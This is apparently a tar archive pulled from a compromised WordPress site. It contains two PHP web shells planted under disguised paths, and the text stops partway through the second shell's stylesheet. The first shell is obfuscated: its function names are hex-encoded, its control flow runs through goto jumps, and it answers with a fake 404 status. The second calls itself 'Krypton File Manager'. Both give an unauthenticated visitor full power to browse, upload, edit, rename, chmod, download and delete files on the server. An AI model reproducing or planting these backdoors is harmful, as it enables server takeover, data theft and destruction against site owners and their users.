File: /home/eliteafr/www/wp-includes-20260529124511/images/smilies/uploads/2024/2025/txn/lnot/2023.tar
elun/index.php 0000666 00000032000 15207033373 0007331 0 ustar 00 <?php
error_reporting(0); http_response_code(404); define("Yp", "loxc"); $G3 = "scandir"; $c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); $lE = 0; T4: if (!($lE < count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy: $lE++; goto T4; Je: if (isset($_GET["p"])) { goto sr; } $Jd = $c8[2](); goto VN; sr: $Jd = jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE = ""; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } function Jd($SP) { $dE = ""; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } function rn($F1) { $Jd = fileperms($F1); if (($Jd & 0xc000) == 0xc000) { goto FZ; } if (($Jd & 0xa000) == 0xa000) { goto Eu; } if (($Jd & 0x8000) == 0x8000) { goto ES; } if (($Jd & 0x6000) == 0x6000) { goto sA; } if (($Jd & 0x4000) == 0x4000) { goto lG; } if (($Jd & 0x2000) == 0x2000) { goto tV; } if (($Jd & 0x1000) == 0x1000) { goto Tx; } $lE = 'u'; goto cC; FZ: $lE = 's'; goto cC; Eu: $lE = 'l'; goto cC; ES: $lE = '-'; goto cC; sA: $lE = 'b'; goto cC; lG: $lE = 'd'; goto cC; tV: $lE = 'c'; goto cC; Tx: $lE = 'p'; cC: $lE .= $Jd & 0x100 ? 'r' : '-'; $lE .= $Jd & 0x80 ? 'w' : '-'; $lE .= $Jd & 0x40 ? $Jd & 0x800 ? 's' : 'x' : ($Jd & 0x800 ? 'S' : '-'); $lE .= $Jd & 0x20 ? 'r' : '-'; $lE .= $Jd & 0x10 ? 'w' : '-'; $lE .= $Jd & 0x8 ? $Jd & 0x400 ? 's' : 'x' : ($Jd & 0x400 ? 'S' : '-'); $lE .= $Jd & 0x4 ? 'r' : '-'; $lE .= $Jd & 0x2 ? 'w' : '-'; $lE .= $Jd & 0x1 ? $Jd & 0x200 ? 't' : 'x' : ($Jd & 0x200 ? 'T' : '-'); return $lE; } function Xe($OB, $Ch = 1, $BL = "") { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } ?>
<!doctype html>
<!-- RandsX aka T1kus_g0t -->
<html lang="en"><head><meta name="theme-color" content="red"><meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no"><link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"><title><?= Yp; ?></title><style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style><script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script></head>
<body style="background-color:#000;color:#fff;font-family:serif;"><div class="bg-dark table-responsive text-light border"><div class="d-flex justify-content-between p-1"><div><h3 class="mt-2"><a href="?"><?= Yp; ?></a></h3></div><div><span>PHP Version : <?= $c8[1](); ?></span> <br><a href="?p=<?= ss($Jd) . "&a=" . Ss("newFile"); ?>">+File</a><a href="?p=<?= Ss($Jd) . "&a=" . sS("newDir"); ?>">+Directory</a></div></div><div class="border-top table-responsive"><li>Uname : <?= $c8[0](); ?></li></div>
<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
<?php if (!isset($_FILES["f"])) { goto ea; } $Wx = $_FILES["f"]["name"]; $lE = 0; th: if (!($lE < count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload", 0); goto tG; PG: XE("file uploaded successfully"); tG: g9: $lE++; goto th; dx: ea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\""); FA: ?>
</div><div class="bg-dark border table-responsive mt-2">
<div class="ml-2" style="font-size:18px;">
<span>Path: </span><?php $Op = $c8[4]("/(\\\\|\\/)/", $Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\">~</a>/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "<a href=\"?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "\">{$Oe}</a>/"; CS: } Go: ?>
</div></div><article class="bg-dark border table-responsive mt-2">
<?php if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im = Jd($_GET["a"]); cc: ?>
<div class="px-2 py-2">
<?php if (!($im == "delete")) { goto Lu; } $BL = $Jd . '/' . Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder", 0); goto iL; e8: Xe("folder deleted successfully"); iL: VZ: if (!($_GET["t"] == "f")) { goto xB; } $BL = $Jd . '/' . jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder", 0); goto Mk; uH: xe("file deleted successfully"); Mk: xB: Lu: ?>
<?php if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WC; Fg: ?>
<h5 class="border p-1 mb-3">New folder</h5>
<form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
<?php isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto WC; Pb: ?>
<h5 class="border p-1 mb-3">New file</h5>
<form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
<?php isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE("file created successfully", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto WC; Lw: ?>
<h5 class="border p-1 mb-3">Rename <?= $_GET["t"] == "d" ? "folder" : "file"; ?></h5>
<form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?= jD($_GET["n"]); ?>"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
<?php isset($_POST["s"]) ? $c8[16]($Jd . '/' . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto WC; Ox: ?>
<h5 class="border p-1 mb-3">Edit file</h5>
<span>File name : <?= Jd($_GET["n"]); ?></span>
<form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?= $c8[18]($c8[14]($Jd . '/' . jD($_GET["n"]))); ?></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
<?php isset($_POST["s"]) ? $c8[13]($Jd . '/' . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WC; Ag: ?>
<h5 class="border p-1 mb-3">View file</h5>
<span>File name : <?= jd($_GET["n"]); ?></span>
<div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly><?= $c8[18]($c8[14]($Jd . '/' . jd($_GET["n"]))); ?></textarea></div>
<?php WC: ?></div><?php goto mR; Un: ?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light"><tr><th>Name</th><th>Size</th><th>Permission</th<th>Action</th></tr></thead><tbody class="text-light"><?php $G3 = $c8[5]($G3($Jd), [".", ".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "\"><i class=\"fa fa-fw fa-folder\"></i> {$yf}</a></td>\n\t\t\t\t\t\t<td>N/A</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" : null)) . "\">" . RN("{$Jd}/{$yf}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t\t\t\t\t\t\t<a href=\"?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "MB" : $kL . "KB"; echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "\"><i class=\"fa fa-fw fa-file\"></i> {$F1}</a></td>\n\t\t\t\t\t\t<td>{$kL}</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" : null)) . "\">" . rN("{$Jd}/{$F1}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<div class=\"d-flex justify-content-between\">\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&n=" . sS($F1) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t"; X1: } a2: ?></tbody></table><?php mR: ?></article><div class="bg-dark border text-center mt-2"><small>Copyright © 2021 - Powered By Indonesian Darknet</small></div><script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script><script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script><script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script><script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script></body></html>backup/data/2024/jfxfl/admin.php 0000666 00000122157 15210677310 0012241 0 ustar 00 <?php
/**
* Krypton File Manager
* A single-file PHP file manager with full server access and enhanced features
*/
// Start session
session_start();
// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout
// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
$encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}
// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
// Session expired
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time
// Encryption and decryption functions
function encryptPath($path) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
function decryptPath($encryptedPath) {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false) {
return getcwd(); // Default to current directory if decoding fails
}
if (strpos($decoded, '::') === false) {
return getcwd(); // Default to current directory if separator not found
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd(); // Default to current directory if IV is invalid
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
if ($decrypted === false) {
return getcwd(); // Default to current directory if decryption fails
}
return $decrypted;
} catch (Exception $e) {
return getcwd(); // Default to current directory on any exception
}
}
// Function to get human-readable file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// Function to get file permissions in Unix format
function getFilePermissions($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Function to get file extension
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
// Function to check if a file is editable
function isEditableFile($filename) {
/*
$editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
$extension = getFileExtension($filename);
return in_array($extension, $editableExtensions);
*/
return true;
}
// Process actions
$error = '';
$success = '';
// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path
// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
$currentPath = $_SESSION['current_path'];
}
// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Store current path for form submissions
if (isset($_POST['current_path'])) {
$decryptedCurrentPath = decryptPath($_POST['current_path']);
if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
$currentPath = $decryptedCurrentPath;
$_SESSION['current_path'] = $currentPath;
}
}
if (isset($_POST['action'])) {
// Handle file content request for editing
if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
$filePath = decryptPath($_POST['path']);
if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
echo file_get_contents($filePath);
exit;
} else {
echo "Error: Cannot read file.";
exit;
}
}
// Handle navigation
if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
$decryptedPath = decryptPath($_POST['path']);
if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
$currentPath = $decryptedPath;
$_SESSION['current_path'] = $currentPath;
}
}
// Handle file download
if ($_POST['action'] === 'download' && isset($_POST['path'])) {
$downloadPath = decryptPath($_POST['path']);
if (file_exists($downloadPath) && !is_dir($downloadPath)) {
// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($downloadPath));
ob_clean();
flush();
readfile($downloadPath);
exit;
}
}
}
// Handle file upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$success = 'File uploaded successfully.';
} else {
$error = 'Failed to upload file.';
}
} else {
$error = 'No file selected or upload error.';
}
}
// Handle file/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$deletePath = decryptPath($_POST['path']);
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
// Try to remove directory
if (rmdir($deletePath)) {
$success = 'Directory deleted successfully.';
} else {
$error = 'Failed to delete directory. It may not be empty.';
}
} else {
// Remove file
if (unlink($deletePath)) {
$success = 'File deleted successfully.';
} else {
$error = 'Failed to delete file.';
}
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file/directory rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$oldPath = decryptPath($_POST['oldPath']);
$newName = $_POST['newName'];
$dirName = dirname($oldPath);
$newPath = $dirName . '/' . $newName;
if (file_exists($oldPath)) {
if (rename($oldPath, $newPath)) {
$success = 'Renamed successfully.';
} else {
$error = 'Failed to rename.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle permission change
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$permPath = decryptPath($_POST['permPath']);
$permissions = $_POST['permissions'];
// Convert from octal string to integer
$mode = octdec($permissions);
if (file_exists($permPath)) {
if (chmod($permPath, $mode)) {
$success = 'Permissions changed successfully.';
} else {
$error = 'Failed to change permissions.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file edit
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$filePath = decryptPath($_POST['filePath']);
$fileContent = $_POST['fileContent'];
if (file_exists($filePath) && !is_dir($filePath)) {
if (file_put_contents($filePath, $fileContent) !== false) {
$success = 'File saved successfully.';
} else {
$error = 'Failed to save file.';
}
} else {
$error = 'File does not exist.';
}
}
// Handle create new file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $currentPath . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$success = 'File created successfully.';
} else {
$error = 'Failed to create file.';
}
} else {
$error = 'File already exists.';
}
}
// Handle create new folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $currentPath . '/' . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$success = 'Folder created successfully.';
} else {
$error = 'Failed to create folder.';
}
} else {
$error = 'Folder already exists.';
}
}
}
// Save current path to session
$_SESSION['current_path'] = $currentPath;
// Get directory contents
$items = [];
if (is_dir($currentPath)) {
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
try {
$size = $isDir ? '-' : formatFileSize(filesize($fullPath));
$permissions = getFilePermissions($fullPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
$items[] = [
'name' => $entry,
'path' => $fullPath,
'encryptedPath' => encryptPath($fullPath),
'isDirectory' => $isDir,
'size' => $size,
'permissions' => $permissions,
'lastModified' => $lastModified,
'isEditable' => !$isDir && isEditableFile($entry)
];
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
}
closedir($handle);
}
}
// Sort items: directories first, then files
usort($items, function($a, $b) {
if ($a['isDirectory'] && !$b['isDirectory']) {
return -1;
}
if (!$a['isDirectory'] && $b['isDirectory']) {
return 1;
}
return strcasecmp($a['name'], $b['name']);
});
// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
}
}
// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);
// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Krypton File Manager</title>
<style>
/* Base styles and reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
}
body {
background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: #f9f9f9;
/* Fallback color */
color: #333333;
line-height: 1.6;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
/* Navigation bar */
.navbar {
background-color: #ffffff;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 15px 0;
position: sticky;
top: 0;
z-index: 100;
}
.navbar-content {
display: flex;
align-items: center;
justify-content: space-between;
}
.navbar h1 {
color: #333333;
font-size: 1.5rem;
font-weight: 500;
}
.version {
font-size: 0.8rem;
color: #777;
margin-left: 10px;
}
.navbar-actions {
display: flex;
gap: 10px;
}
.home-btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 8px 15px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
text-decoration: none;
display: inline-flex;
align-items: center;
transition: all 0.2s ease;
}
.home-btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.home-icon {
margin-right: 5px;
}
/* Breadcrumb navigation */
.breadcrumb {
display: flex;
align-items: center;
padding: 12px 0;
margin-bottom: 15px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
}
.breadcrumb-item a {
color: #4a6cf7;
text-decoration: none;
padding: 5px 8px;
border-radius: 4px;
transition: background-color 0.2s;
cursor: pointer;
}
.breadcrumb-item a:hover {
background-color: rgba(74, 108, 247, 0.1);
}
.breadcrumb-separator {
margin: 0 5px;
color: #999;
}
.breadcrumb-current {
font-weight: 500;
padding: 5px 8px;
}
/* Section styling */
.section {
background-color: rgba(255, 255, 255, 0.9);
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 20px;
margin-bottom: 20px;
box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.section-title {
font-size: 1.1rem;
color: #333333;
font-weight: 500;
}
.section-actions {
display: flex;
gap: 10px;
}
/* Upload form */
.upload-form {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.upload-form input[type="file"] {
flex: 1;
min-width: 200px;
padding: 10px;
border: 1px solid #e0e0e0;
border-radius: 6px;
background-color: #ffffff;
}
.btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.btn-sm {
padding: 6px 12px;
font-size: 0.9rem;
}
.btn-success {
background-color: #28a745;
}
.btn-success:hover {
background-color: #218838;
}
/* File list table */
.file-table-container {
overflow-x: auto;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 10px;
}
.file-table th {
background-color: #f5f5f5;
padding: 12px 15px;
text-align: left;
font-weight: 500;
border-bottom: 1px solid #e0e0e0;
position: relative;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #e0e0e0;
}
.file-table tr:hover {
background-color: #f5f7ff;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.folder-icon::before {
content: "📁";
}
.file-icon::before {
content: "📄";
}
/* Action buttons */
.action-buttons {
display: flex;
gap: 8px;
}
.action-btn {
background: none;
border: none;
cursor: pointer;
font-size: 1rem;
color: #555;
transition: all 0.2s ease;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 4px;
}
.action-btn:hover {
background-color: #f0f0f0;
color: #333;
}
/* Modal styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 400px;
